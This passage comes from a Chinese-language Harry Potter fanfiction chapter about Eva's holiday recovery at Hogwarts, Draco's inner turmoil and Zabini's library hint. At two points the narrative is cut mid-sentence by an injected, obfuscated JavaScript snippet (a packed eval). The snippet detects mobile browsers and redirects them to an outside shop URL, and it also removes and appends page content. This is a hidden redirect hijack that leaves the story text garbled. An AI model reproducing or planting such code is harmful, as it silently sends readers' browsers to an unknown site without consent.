“适度的。”斯内普重复这个词,语气里听不出是赞同还是讽刺,“那么,你显然很清楚‘适度’的界限在哪里。” 这不是一个问题,而是一句带着警告的陈述。 “我明白,教授。”Eva点头。 斯内普盯着她看了几秒。“关于你额外的……义务劳动,”他缓缓开口,每个字都像冰锥般清晰而冷硬,“开始的具体日期,取决于庞弗雷夫人最终的……签字批准。在此之前,你的活动范围和行为准则,必须严格遵从医疗翼的每一条指示。” 他停顿了一下,黑眼睛缓缓扫过Eva依旧苍白的脸、微微抿紧的嘴唇,最后落在她胸前——那里,蓝色药囊在袍子下透出极淡的草药气息。他的目光没有温度,只有一种近乎解剖般的审视。 “包括,”他的声音压得更低,带着一种近乎温柔的威胁,“避免参与任何可能导致……不必要体力消耗的‘艺术创作’。毕竟,庞弗雷夫人的药水效果再显著,也经不起持续的……挥霍。” 他说“艺术创作”时,目光终于移开,落在了那只展翅欲飞的雪鹰上,停留了极短的一瞬。没有明显的讽刺,但那眼神本身就像是在评估一件粗劣的、浪费时间的作品。 “是的,教授。”Eva回答。 斯内普点了点头——那动作轻微得几乎看不见。然后他转身,继续朝城堡走去,黑袍在积雪中留下更深的一道痕迹。 直到他的身影消失在城堡门内,曼蒂才敢大声喘气:“梅林啊……他每次看人都像在检查魔药材料有没有变质……” 帕德玛拍了拍胸口:“至少他没扣分。” 阳光继续西斜。雪鹰最终完成时,展翅欲飞的姿态在冬日阳光下显得格外生动。曼蒂从温室找来几颗磨圆的黑色火山岩,镶嵌成眼睛。 “叫‘守望者’怎么样?”帕德玛提议。 “守望者……”Eva重复这个名字。在东方文化里,鹰隼是锐利与守护的象征。 晚餐时分,留校的学生们聚集在礼堂。四张长桌被合并成一张——这是霍格沃茨圣诞假期的传统。虽然人数不多,但气氛比平时更加融洽。 秋·张和几个拉文克劳女生坐在Eva她们旁边,正在讨论一本从图书馆借来的、关于古代如尼文变体的专著。几个赫奇帕奇学生带来了家里寄来的圣诞饼干,分给所有人。斯莱特林那边,布雷司·沙比尼正和西奥多·诺特低声交谈着什么,表情严肃;德拉科·马尔福坐在稍远些的位置,面前摊开着一本《纯血统名录:二十世纪修订版》,但目光并没有落在书页上。 晚餐后,邓布利多教授站了起来。他今晚穿着一件深紫色的长袍,上面绣着会缓慢移动的银色星辰。半月形眼镜后的蓝眼睛温和地扫过在场的学生。 “首先,我代表霍格沃茨全体教职员工,祝愿各位同学圣诞快乐。”他的声音不高,却在安静的礼堂里清晰可闻,“无论你们选择留校还是回家,都希望这个假期能带给你们温暖、宁静和应有的欢乐。” 他顿了顿,目光似乎无意地掠过Eva的方向,又迅速移开。 “其次,我要提醒留校的同学:假期期间,城堡的规章制度依然有效。但我也希望你们能享受这段相对自由的时光——图书馆会在每天上午十点到下午四点开放,庭院可以散步,当然,要结伴而行。” “最后,”邓布利多的语气变得稍微严肃了一些,“我知道最近城堡里发生了一些事。有些已经解决,有些仍在处理中。但我希望你们明白:霍格沃茨永远是你们的家,而家,理应是一个让人感到安全的地方。” 他说“安全”时,语气里有种沉甸甸的重量。 “现在,”邓布利多重新露出微笑,“圣诞节特别准备的热可可和甜点。请尽情享用。” 气氛重新变得轻松。曼蒂立刻给自己倒了一大杯热可可。 晚餐接近尾声时,秋·张端着杯子坐到了Eva旁边的空位,加入了她们关于雪鹰的闲聊。话题渐渐转到假期计划上,秋提到自己打算在图书馆多待些时间,完成一篇关于古代如尼文变体的论文。 “说到图书馆,”秋的眉头微微蹙起,声音比刚才低了些,“前几天我在图书馆查资料时,正好听到了一些对话。” Eva看向她。 “两个魔法部官员来找平斯夫人调阅档案。”秋的声音压得很低,“他们说是为了‘完善事故报告’,但我听他们提到了‘能量波动异常’和‘跨体系交互风险’这些词。平斯夫人看起来不太高兴,但还是带他们去了禁书区旁边的档案室。” 她顿了顿,棕色的眼睛里有一种拉文克劳式的敏锐:“我本来想多听几句,但他们很快发现了我在附近,就压低声音了。不过……我觉得你应该知道这件事。” Eva点了点头。秋带来的消息并不意外,但“能量波动异常”和“跨体系交互风险”,像冰冷的针脚,将她这几天的遭遇——斯内普审视的目光、庞弗雷夫人严格的药剂监控、甚至父亲信中格外谨慎的措辞——缝合成一张逐渐清晰的网。她在网中,却尚未看清织网者的全部意图。 “谢谢你告诉我,秋。”Eva轻声说。这消息并不意外,但秋的细心和善意值得感谢。 “不用谢。”秋摇摇头,“我只是觉得……知道总比不知道好。至少可以有所准备。” 她说“有所准备”时,语气里有种同龄人中少见的成熟。也许是因为她比Eva高一年级,也许是因为她作为拉文克劳,更早学会了在复杂局面中保持清醒的头脑。 “我会留意的。”Eva说。 秋点点头,将杯子里的热可可喝完。“我得回去了,今天有点累。”她站起身,“好好休息,Eva。” “你也是,晚安。” 秋离开后,Eva独自坐了一会儿。长桌那端,曼蒂正兴奋地向帕德玛展示她刚收到的家里寄来的圣诞礼物——一条会变色的围巾。赫奇帕奇的学生们在分享饼干配方。斯莱特林那边,马尔福已经起身离开,布雷司·沙比尼看着他的背影,嘴角挂着若有所思的弧度。 热可可的杯子在她掌心逐渐变凉。静养、监管、调查、观察…… 这些词像雪花一样落下,看似轻柔,堆积起来却足以覆盖一切声响。她将最后一口微凉的可可喝完,仿佛用这点温热的甜,压下了心底那丝冰凉的预警。 返回拉文克劳塔楼的路上,城堡异常安静。大部分走廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076527|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的火把被调暗了。画像们似乎也进入了假期模式——胖夫人去了别的肖像里参加圣诞派对,卡多根爵士正对着空荡荡的走廊大声朗诵他的英勇事迹。 在通往塔楼的那条回廊里,Eva停下脚步,望向窗外。 月光下的庭院一片银白。那只雪鹰立在远处的雪地上,展翅的姿态在夜色中显得更加清晰,也更加孤独。黑色的眼睛在月光下反射着微光,仿佛真的在守望这片沉睡的城堡。 一只不会飞的鹰。一座会在春天融化的雪雕。 但她想,至少在今晚,在此时此刻,它是存在的。就像她此刻站在这里,虽然体内仍有未愈的伤痛,虽然前路仍有未解的谜题和审视,但至少此刻,她是站着的。胸前药囊传来温润的热意,爷爷的叮嘱在耳边回响,朋友们在塔楼里等着她。 这就够了。 青铜鹰门环今晚的问题是:“何物无声,却能传递最深的信息?” Eva沉默了几秒,轻声答:“存在本身。” 门应声而开。 公共休息室里,壁炉的火已经调小。帕德玛和曼蒂已经回寝室了,只有炉火旁还坐着两个七年级学生,正对着棋盘低声讨论着什么复杂的战术。 Eva走向女生寝室。在推开房门的前一刻,她再次回头看了一眼窗外—— 雪鹰依旧站在那里。月光在它翅膀的积雪上投下细碎的银色光点,像无数沉默的星辰,落在这座不会飞翔的守护者身上。 同一时刻,斯莱特林地窖。 公共休息室的银绿色炉火噼啪作响。德拉科·马尔福坐在壁炉右侧的扶手椅里,手里拿着一本《纯血统名录》,目光却空洞地落在书页边缘的烫金花纹上。 布雷司·沙比尼的声音从对面传来,懒洋洋的,但比平时少了些玩味,多了些审慎:“……所以帕金森家今年的舞会,诺特家会代替你家出席。布莱克案的影响比想象中更广。我母亲来信说,魔法部国际魔法合作司那边也在重新评估一些……历史档案。” 西奥多·诺特翻了一页书,声音平静:“涉及跨国界的案件总是更复杂。尤其是当某些‘历史问题’可能被重新翻出来的时候。” “历史问题。”布雷司重复这个词,目光若有若无地扫过马尔福手中的书,“比如某些家族的‘国际联系’?或者……某些不太常见的魔法现象?” 他的语气听起来只是在讨论政治,但那个“不太常见的魔法现象”说得很轻,像是随口一提。 马尔福的下颌线几不可察地绷紧了一瞬。他知道布雷司在指什么——不止是布莱克案,还有那晚庭院里的暗红色火焰,以及火焰的主人。一周多来,斯莱特林内部关于那晚的议论已经慢慢平息,但总有些人,像布雷司这样嗅觉敏锐的,会把不同线索连起来思考。 父亲的信在脑海里回响:“保持低调,德拉科。观察,但不要介入。有些界限正在重新划定,马尔福家必须站在正确的一侧。” 正确的一侧。 远离那些“麻烦”,包括那个拉文克劳和她的“异常魔法”?假装什么都没发生,继续做一个完美的马尔福? “如果你们想讨论魔法部的公务,建议直接给你们的父亲写信。”他的声音冷硬,“至于我,我只关心圣诞假期能不能安静几天。” “当然。”布雷司耸耸肩,指尖的金加隆停止了转动,被他随手塞进口袋。“霍格沃茨的家养小精灵在节日餐点上从不令人失望。我母亲上次来信还提到,魔法部国际合作司的圣诞酒会上,家养小精灵准备的‘环球风味小食’反响不错——尤其是几道远东特色的点心。” 他语气平常,像在分享一件无关紧要的社交见闻,但“远东特色”这个词说得很清晰。西奥多·诺特翻书的动作几不可察地顿了一下。 马尔福没有抬头,但握着书脊的指节微微收紧了一瞬,纸页边缘被压出细小的褶皱。 布雷司仿佛没注意到,继续用那种闲聊的口吻:“听说拉文克劳的秋·张去年好像带过一些东方的糕点?味道挺特别。不知道今年厨房会不会借鉴。毕竟,增加点……文化多样性,总是好的,对吧?”他最后一句话尾音微微上扬,目光似有若无地扫过马尔福紧绷的侧脸。 “东方点心?”马尔福终于从书中抬起眼皮,灰蓝色的眸子里结着一层薄冰,“扎比尼,你什么时候对家养小精灵的菜单这么有研究了?还是说,你终于意识到自己那点可怜的零花钱,只够在餐后甜点的选择上找点优越感?” 他合上书,动作比平时重了些,发出“啪”的一声轻响。“如果你们想讨论家养小精灵的厨艺,”他的目光扫过布雷司,最后落在诺特身上,带着一种刻意为之的、居高临下的不耐烦,“建议你们去厨房门口跟那些小东西聊个够。或者——” 他顿了顿,灰蓝色的眼睛里有恶意的光闪过,声音压得更低,却足够让两人听清: “去问问我们亲爱的救世主?波特和他那些形形色色的朋友,不是最喜欢研究这些‘新奇’玩意儿么。”他把“新奇”这个词咬得很重,像在吐掉什么不干净的东西,“说不定,他们还能给你开个‘东方魔法点心鉴赏会’呢。” 这话既贬低了哈利·波特,又把布雷司的试探推到了“和格兰芬多同流合污”的幼稚层面,是典型的马尔福式反击——用攻击他人来转移焦点,同时维护自己高高在上的姿态。 说完,他不等回应,直接站起身离开。银绿色的袍角甩出一个略显僵硬的弧度,仿佛多停留一秒都会沾染上这种“低级”话题的气息。 脚步声在石质地板上回响。他知道布雷司和诺特在背后交换眼神,知道这种隐晦的试探不会停止。只要那个拉文克劳还在霍格沃茨,只要她身上还有那些“异常”,只要那晚的事还在某些人记忆里,他就无法彻底摆脱这种被审视的感觉。 他推开寝室门,里面空无一人。克拉布的床铺已经被家养小精灵收拾的整齐,高尔的床下还丢着几本没收拾的漫画。 他走到窗前。从地窖的窄窗看不到拉文克劳塔楼,也看不到那只可笑的雪鹰。只能看到一片被月光照亮的、空旷的雪地,和更远处禁林黑黢黢的轮廓。 他盯着那片黑暗看了几秒,然后猛地拉上窗帘,将月光和雪地都隔绝在外。寝室陷入一片黑暗,只有门缝下透进公共休息室的一点微弱火光。 “见鬼。”他对着黑暗低声咒骂,却不知道在骂谁。是骂那个多管闲事的拉文克劳,还是骂自己该死的、不受控制的注意力?或者骂布雷司那种多事的眼神? 他重重地将书摔在床头柜上,发出一声闷响,然后用力掀开被子躺下,闭上眼睛,试图在脑海里分析《纯血统名录》第十二章关于二十世纪中期几个与“布莱克”和“莱斯特兰奇”家族有密切联姻的家族章节。但那些密密麻麻的字句很快扭曲,变成了另一些画面——露天走廊下那片诡异的、贴地燃烧的暗红色火焰,像一道拒绝他理解的墙;还有更早之前,火车隔间里,在摄魂怪的寒意中那道划破黑暗的金色轨迹……以及,他抓住她手臂时,掌心下那截纤细手腕传来的、无法忽视的颤抖。 马尔福不需要记住这些。马尔福应该记住的是父亲的叮嘱、家族的立场、还有如何在下个学期让波特好看。 他强迫自己把思绪拉回来,拉回到那些安全、熟悉、属于马尔福的世界里——比如下学期如何巧妙地让费尔奇“发现”波特夜游的证据,或者如何在课上让隆巴顿再出一次丑,好给格兰芬多扣上五十分…… 就这样,在自我编织的、充满幼稚恶意的计划思绪中,他渐渐模糊了意识。那些不该存在的画面和心悸,被暂时压进了睡眠的边缘。 窗外,苏格兰高地的冬夜漫长而寂静。雪覆盖了一切,仿佛也暂时覆盖了某些正在萌发、却无人承认的轨迹。 86.冬幕低垂 圣诞假期在苏格兰高地漫长的冬夜里缓缓铺展,如同被冻得脆硬的羊皮纸摊开在寂静的桌面上。留校的学生们散落在城堡各处,脚步声在空旷走廊里荡起的回音格外清晰。往日拥挤的礼堂如今只有零星几处坐着人,天花板模拟出的天空也变得疏懒,常常一整日都是灰白而静止的雪云。 Eva的恢复遵循着庞弗雷夫人制定的严格节律。清晨喝下泛着珍珠光泽的银色药剂,药液滑过喉咙时带来的微痛依旧清晰;午后胸前佩戴蓝色药囊在庭院散步半小时——必须由帕德玛或曼蒂陪同;傍晚阅读或写信,但不得超过两小时;睡前服用另一剂银色药剂,将白色药囊置于枕下。规律得像钟摆的每一次摆动。 “像在熬一锅需要精确火候的魔药,”假期第三天午后,当她们沿着被清理出的主路慢慢走向温室时,帕德玛轻声说,“每一步都不能错。” 曼蒂走在前面几步,靴子在压实了的雪上踩出“咯吱咯吱”的声响。她回头,深蓝色的围巾在寒风中飘起一角:“但至少你在好转,对吧?昨天晚餐时你的脸色比周一好多了。” Eva点了点头。经脉深处的滞痛正在缓慢消退,像冰层在春阳下极缓地融化。胸前药囊传来的温润热意持续不断,像一道无声的暖流,抚平那些看不见的裂痕。爷爷的方子确实有效——东方草药学与西方魔药学的结合,在她身上达成了某种微妙的平衡。 她们经过庭院中央时,那只雪鹰依旧屹立。几天的风吹日晒让它边缘变得圆润了些,翅膀上的积雪薄了一层,但展翅的姿态依旧清晰。赫奇帕奇的学生们给它加了一顶小小的、用松枝编成的“桂冠”,歪斜地戴在头顶,添了几分憨态。 “它还在呢。”曼蒂跑过去,仔细查看,“就是瘦了点。” “雪会化的。”帕德玛客观地说,“但至少现在还在。” Eva站在几步外看着。阳光照在雪鹰黑色的火山岩眼睛上,反射出一点微弱却执拗的光。它不会飞,终将融化,但此刻的存在本身,就像某种无声的宣言。 温室里温暖如春,潮湿的泥土和植物气息扑面而来。斯普劳特教授正在给一株正在休眠的毒触手换土,看到她们进来,圆圆的脸上露出笑容。 “早上好好,姑娘们!张小姐,今天感觉如何?” “好多了,教授。” “那就好。来,帮我把这些白鲜叶片分装。”斯普劳特教授指了指旁边工作台上几捆新鲜的草药,“小心别碰断叶脉,药效会打折扣。” 这是温和的、不耗心力的工作。Eva坐在工作台前的高脚凳上,小心地将白鲜叶片按大小分类,用细绳扎成小捆。帕德玛和曼蒂在旁边处理一种会发出轻微嘶嘶声的蓝色蕨类植物——据说它的汁液是高级清醒剂的重要成分。 温室里很安静,只有植物生长的细微声响和远处水车缓慢转动的吱呀声。阳光透过玻璃穹顶洒下来,在潮湿的地面上投下明亮的光斑。 “你们听说了吗?”曼蒂忽然压低声音,手里的动作慢了下来,“关于布莱克和彼得的审判。” 帕德玛抬起头:“魔法部还没公布具体日期吧?” “但我昨天在猫头鹰棚屋碰到秋,她说她爸爸在魔法部国际魔法合作司的朋友透露,威森加摩可能会在一月中旬召开听证会。”曼蒂的声音更低了,“而且……可能会传唤学生证人。” “证人?”帕德玛皱眉,“传唤谁?哈利不是回家了吗?” “可能不止哈利。”曼蒂说,“秋说,那晚所有在现场的人,可能都会被要求提供证词。包括……”她顿了顿,看向Eva。 Eva手中的白鲜叶片停顿了一瞬。证人。证词。这意味着她需要面对威森加摩的巫师,在正式场合陈述那晚发生的事。不止是写给麦格教授的报告那么简单。 “庞弗雷夫人说我的恢复期至少要到一月底。”她轻声说,继续手中的工作。 “那可以申请延期或书面证词吧?”帕德玛立刻说,“麦格教授应该会帮你争取。” Eva点了点头,没有接话。叶片在她指尖被仔细抚平,叶脉在阳光下清晰可见。她知道事情不会那么简单。威森加摩需要的是“第一手证词”,而她那晚的角色——施咒阻挡狼人——可能成为某些人关注的重点。尤其是她的咒语“效果异常”。 就在这时,温室的门被推开了,带进一股寒气。 是德拉科·马尔福。 他独自一人,银绿色的校袍外罩着黑色旅行斗篷,手里拿着一卷羊皮纸。看到温室里有人,他脚步顿了一下,灰蓝色的眼睛快速扫过工作台前的三人,在Eva身上停留了不到半秒,随即移开。 “斯普劳特教授。”他的声音带着惯有的、刻意为之的平淡,“我需要一些槲寄生浆果,用于魔药实验。斯内普教授签了许可。” 他递上羊皮纸。斯普劳特教授接过,仔细查看上面的签名和印章。 “槲寄生浆果在第三温室,靠北墙的架子。”她指了指方向,“自己取,注意不要碰掉叶子——这个季节的槲寄生很脆弱。” 马尔福点了点头,没有看她们,径直走向第三温室的方向。他的背影挺直,步伐平稳,像一道银绿色的影子滑过温室的过道。 “他最近好像经常来温室。”曼蒂用气音说,“我前天也看见他,在取什么月光草。” “可能是魔药课额外作业。”帕德玛轻声回答,“斯内普教授经常给斯莱特林布置进阶任务。” Eva没有参与讨论。她的目光落在手中的白鲜叶片上,叶脉在指尖下传来细微的、生命的触感。 几分钟后,马尔福从第三温室出来,手里拿着一个小玻璃瓶,里面装着几颗鲜红的槲寄生浆果。他没有停留,径直走向温室大门,推门离开。整个过程安静得像一阵风。 “怪人。”曼蒂小声嘟囔。 “他一直都是。”帕德玛说。 斯普劳特教授走过来,检查Eva分装好的白鲜叶片。“很好,张小姐。叶脉完整,捆扎松紧适中。看来你的手已经很稳了。” “谢谢教授。” “恢复期最重要的是耐心。”斯普劳特教授温和地说,“就像这些植物——冬天看似休眠,其实根系在泥土深处默默生长。等到春天,你会发现自己比想象中更强壮。” Eva点了点头。爷爷的信里也说过类似的话——静养不是停滞,而是另一种形式的生长。 离开温室时,天色尚早。她们沿着主路返回城堡。庭院里,几个拉文克劳和赫奇帕奇的留校学生正在打雪仗,笑声在寒冷的空气中清脆地炸开。雪鹰静静立在远处,松枝桂冠在暮色中显得有点滑稽,却也透着执拗的生机。 午餐时,留校的学生们依旧聚集在合并的长桌旁。家养小精灵们显然把假期当成了展示厨艺的舞台——主菜是一道用魔法保持温度的烤鹿肉,配着蔓越莓酱和烤得金黄酥脆的土豆,甜点则是会自己变换形状的巧克力布丁。 曼蒂吃得眼睛发亮:“我决定以后每年圣诞都留校!” 秋·张坐在她们旁边,正小口喝着南瓜汁。她今天看起来有些疲惫,眼下有淡淡的阴影。 “你还好吗,秋?”帕德玛关切地问。 “还好。”秋放下杯子,“就是在图书馆待久了,眼睛有点累。我在查一些关于古代如尼文变体的资料——下学期的选修课论文要提前准备。” “现在就开始准备论文?”曼蒂瞪大眼睛。 “时间过得很快。”秋温和地笑了笑,“而且最近图书馆人少,正好安静。” 她说这话时,目光扫过礼堂里稀疏的人群,最后落在斯莱特林长桌——那里,布雷司·扎比尼独自坐着,面前摊开着一份《预言家日报》,眉头微微蹙起,像是在思考什么。 “扎比尼也在图书馆待了很久。”帕德玛轻声说,“我昨天下午去借书时,看到他坐在禁书区旁边的位置,面前堆了好几本关于国际魔法法的书。” “国际魔法法?”曼蒂好奇地问,“那是什么?” “涉及不同魔法体系之间关系的法律。”秋解释道,“比如当一个巫师在另一个国家使用魔法时,应该适用哪国的法律。或者……当一种魔法效果无法用现有体系解释时,该如何界定管辖权。” 她说这话时语气很平常,就像在解释一个普通的学术概念。但Eva注意到,秋的目光在她脸上停留了一瞬,随即自然地移开,继续和帕德玛讨论起如尼文的语法问题。 下午的阳光斜斜地照进庭院,在积雪上投下长长的影子。午餐后,帕德玛和曼蒂打算去猫头鹰棚屋寄信,Eva则决定去图书馆——庞弗雷夫人允许的“阅读时间”还有剩余,而且她想起昨天秋·张提到的事情。 图书馆在假期里依旧遵循着固定的开放时间——上午十点到下午四点。平斯夫人像往常一样坐在高高的柜台后,看到Eva进来,只是点了点头。 “下午好,平斯夫人。” “下午好,张小姐。还有半小时闭馆。”平斯夫人的声音比平时稍微温和些,也许是假期的缘故。 Eva走向法律与历史区域。她想查查关于“国际魔法法”和“管辖权”的资料——秋昨天提到扎比尼在查这些,而她需要知道这些概念可能如何影响自己。毕竟,如果威森加摩真的传唤证人,如果她的魔法效果真的被定义为“异常”,那么了解相关的法律框架不是多此一举。 她在书架间慢慢走着,手指划过一本本书脊。《威森加摩程序法典》、《国际魔法合作协定汇编》、《魔法效果分类与认定标准》……这些书厚重而枯燥,但此刻却显得格外重要。 就在她伸手去取《国际魔法法案例选编》时,旁边书架传来翻动的声音。 布雷司·扎比尼不知何时出现在相邻的书架旁,背对着她,正要去抽更高处的一本《跨国魔法事件处理实务》。那本厚重的书被抽出一半时,突然从手中滑脱——“啪”地一声,不偏不倚掉落在Eva脚边的地毯上,书页摊开。 Eva下意识地后退半步。 “抱歉。”扎比尼的声音里带着一丝恰到好处的懊恼,他转身弯腰捡书,深棕色的眼睛快速扫过摊开的书页——那里并非他原本想查阅的内容,而是翻到了靠后的部分。他的目光在某一页上停留了半秒,几不可察地挑了下眉。 就在他拾起书,准备合上时,仿佛是无意识的,他用只有两人能听清的、近乎自言自语的声音嘀咕了一句:“……卡斯特罗布舍。文化适应性认定……总在需要的时候被遗忘。” 然后他直起身,对Eva礼节性地点了下头——那点头的弧度精准地介于“对偶然惊扰同学的歉意”和“斯莱特林式的冷淡”之间——便拿着书走向不远处的一张空桌,再没有看她一眼。整个过程行云流水,仿佛刚才真的只是一次意外的失手和一句无心的感慨。 Eva站在原地,看着他的背影消失在书架间。 她翻开书,快速寻找……“卡斯特罗布舍交换生案”,在第147页。 那是一个二十年前的案子:一个来自巴西卡斯特罗布舍魔法学校的交换生在霍格沃茨使用了一种南美洲特有的植物魔法,被当时的教授认定为“危险魔法”,差点被开除。最终威森加摩裁定,该魔法在巴西魔法体系内属于正常教学范畴,不应以英国标准单独认定其危险性。 案例的备注里有一行小字:“跨国魔法事件中,应考虑魔法来源地的文化背景和体系框架,避免单一标准裁定。” Eva合上书,将那行字记在心里。扎比尼这是偶然的巧合吗?还是有意的暗示? 她将那本案例选编借走,在平斯夫人那里登记时,平斯夫人看了一眼书名,推了推眼镜:“国际魔法法?不错的选题。扎比尼先生昨天也借了类似的几本。” “他研究这个?”Eva随口问。 “说是为魔法史论文收集资料。”平斯夫人的语气很平常,“不过假期还这么用功的学生不多见。” Eva点了点头,抱着书离开图书馆。走廊里的火把已经点燃了,在逐渐暗沉的天色中投下温暖的光晕。她的脚步声在石壁上荡起轻微的回音,一声,又一声。 回到拉文克劳塔楼时,帕德玛和曼蒂已经回来了,正在公共休息室的壁炉边烤火。 “你去图书馆了?”帕德玛问,“借的什么书?” “一些法律案例。”Eva在她旁边的扶手椅坐下,“想了解一下……相关程序。” 她没有具体说是什么程序,但帕德玛似乎懂了,点了点头:“多了解总是好的。” Eva点点头,没有多说什么,只是看着壁炉里跳跃的火焰。扎比尼的暗示、秋的提醒、魔法部官员调阅档案……所有这些都指向一个事实:她依然处于某种观察之下。 但至少现在,她开始了解规则了。 晚餐时,食物比中午时候的更丰盛。Eva和帕德玛听着曼蒂夸张的叽叽喳喳时不时回应一句。 此时斯莱特林长桌,晚餐进行到一半,德拉科·马尔福感到一阵难以忍受的烦躁。 礼堂里太安静了——安静到能听到壁炉木柴燃烧的噼啪声,安静到能听到远处几个赫奇帕奇学生低声交谈的每一个音节和拉文克劳那个张和室友的交谈声。这种安静让他的思绪无法控制地飘向那些他不愿去想的事情:父亲上周来信中冰冷的警告、母亲双面镜通话时眼底藏不住的忧虑、还有《预言家日报》上那些刺眼的标题。 他需要转移注意力。任何东西都可以——哪怕是看费尔奇拖着脚走过门厅,或者看天花板模拟的飘雪缓慢落下。 于是他的目光开始无目的地游移,扫过教师席上空荡荡的座位(大多数教授都回家过圣诞了),扫过格兰芬多长桌那端几个留校的低年级学生,最后——完全是无意识的,没有任何预谋的——扫向了拉文克劳长桌。 就在那一瞬间,他的视线撞上了另一道目光。 是张。 她正抬起头,深黑色的眼睛在礼堂温暖的光线下显得异常清澈。两人的目光在空中交汇,距离很远,但那种对视的感觉却异常清晰,清晰到他能看见她眼中倒映的烛火光晕,清晰到他能看见她微微怔了一下的表情。 马尔福感觉自己的呼吸停滞了。 胸腔里有什么东西猛地收紧,像是被一只无形的手攥住了心脏。灰蓝色的瞳孔不受控制地骤然收缩——不是戒备,不是恼怒,纯粹是生理性的、对意外闯入视野的事物的本能反应,就像突然被走廊拐角的盔甲反光晃到眼睛。 他的大脑在那半秒钟里一片空白。下颌线自己绷紧了,他几乎能感觉到血液毫无理由地往脸颊冲——一定是这该死的礼堂壁炉烧得太旺了,空气闷得让人烦躁。 然后,几乎是本能地,他猛地、近乎粗暴地移开了视线。 动作太快,太突兀,以至于肩膀都跟着不自然地耸动了一下。他将目光死死钉在面前的银质餐盘上,盯着餐盘边缘那些繁琐到令人厌烦的花纹,仿佛能从中看出一篇高级如尼文论文的破绽。 脸上那种挥之不去的、令人恼火的热意还在。肯定是刚才从地窖上来走得太急,或者今天这身袍子的衬里太厚了。对,一定是这样。 他强迫自己深呼吸,一次,两次。冰冷的空气吸入肺中,却好像没能驱散那股莫名的燥热。下颌绷得更紧了,他几乎能听见自己后槽牙轻微摩擦的声音。 但他必须做点什么。立刻。不能让任何人——尤其是他自己——觉得刚才那瞬间的失态有什么特殊含义。那只是……一个意外。一个令人不快的、打乱他思绪的意外。 他的目光迅速扫向长桌另一端——布雷司·扎比尼正懒洋洋地叉起一块烤土豆,似乎没注意到这边的异样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079855|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。很好。 马尔福忽然抬高了下巴,用那种惯有的、拖长的腔调,对着空无一人的身侧(克拉布和高尔都回家了)冷冷开口,声音不大,但足以让附近的斯莱特林听清: “这儿的空气什么时候变得这么浑浊了?简直让人喘不过气。” 他顿了顿,目光刻意扫过礼堂另一侧几个正在低声说笑的赫奇帕奇学生,仿佛找到了烦躁的源头,嘴角撇出一个讥诮的弧度: “也许是因为某些人过于……‘活跃’了。” 做完这个姿态,将烦躁归咎于环境和“某些人”之后,他才感觉找回了一点掌控感。他重新抬起头,这次目光坚定而刻意地看向礼堂前方——邓布利多的座位空着。很好。安全的方向。 但眼角的余光还是不受控制地——不,不是不受控制,只是下意识的警戒性扫视——飘向了拉文克劳长桌那边。张已经低下了头,继续切着盘子里的食物,动作平稳,平静得……简直可恨。 凭什么她就能这么若无其事?好像刚才那短暂的目光交汇里,只有他一个人像个傻瓜一样产生了不必要的反应? 一股混杂着被忽视的恼怒和对自身反应不解的烦躁猛地窜上来。他猛地站起身,椅子腿在石地板上刮出刺耳的声响。 “不吃了。”他对着空气生硬地宣布,抓起搭在椅背上的旅行斗篷,银绿色的袍角在转身时划出一道略显僵硬的弧线,头也不回地走向礼堂大门。 经过拉文克劳长桌时,他强迫自己不要转头,不要看那个方向。但眼角的余光还是瞥见了一抹深蓝色的袍角,还有那头黑色的头发。 够了。 他加快脚步,几乎是冲出了礼堂。门厅里冷冽的空气扑面而来,让他发热的脸颊稍微冷却了些。他靠在冰冷的石墙上,闭上眼睛,深吸一口气。 “见鬼。”他对着空荡荡的门厅低声咒骂。 那个对视最多持续了两秒。两秒钟,却让他像个被抓住做坏事的一年级生一样落荒而逃。 更糟糕的是,他现在满脑子都是那双眼睛——深黑色,平静,清澈,像深潭一样将他瞬间的慌乱照得无所遁形。还有她低头继续吃饭时那副该死的平静模样。 凭什么? 他直起身,整理了一下斗篷的领口,重新戴上那副惯有的、冰冷的面具。然后迈步走向地窖,脚步声在空旷的走廊里回荡,一声,又一声,像是在试图踏碎脑海中那些不该存在的画面。 而礼堂里,Eva低下头,继续切着盘子里的土豆。刀叉碰到瓷盘,发出轻微的声响。她忽略心里因为刚才那个对视带来的奇怪涟漪。 “他怎么了?”曼蒂小声问。 “谁知道呢。”帕德玛说,“也许吃饱了吧。” 晚餐后,Eva回到拉文克劳塔楼,开始整理要准备的圣诞礼物。壁炉的火烧得很旺,帕德玛和曼蒂也在旁边做着同样的事。 她仔细考虑着每一份礼物。给朋友们的要实用、适当,不会引起不必要的注意: 给哈利·波特的是一本《魁地奇战术演变史》,她在丽痕书店找到的二手书,里面有大量关于队形和策略的分析,应该对他的训练有帮助。 给罗恩·韦斯莱的是一套高品质的巫师棋保养工具——罗恩热爱巫师棋,这套工具很实用。 给赫敏·格兰杰的是一本《法律逻辑与论证技巧》,硬皮精装,内容扎实。赫敏在为布莱克案研究法律,这本书也许能提供一些思路。 给韦斯莱夫人的回礼(去年圣诞节韦斯莱夫人送了礼物来)是一包江南产的干桂花,附上了妈妈写的几种糕点配方——只是家常的点心做法,不涉及魔法。 给室友们的礼物简单而贴心:给帕德玛一套精致的书签,给曼蒂一条会随温度变色的围巾,给丽莎一盒从蜂蜜公爵买的糖果。 给秋·张的是一方绣着简单兰草纹样的手帕——秋总是很照顾她,这算是一点心意。 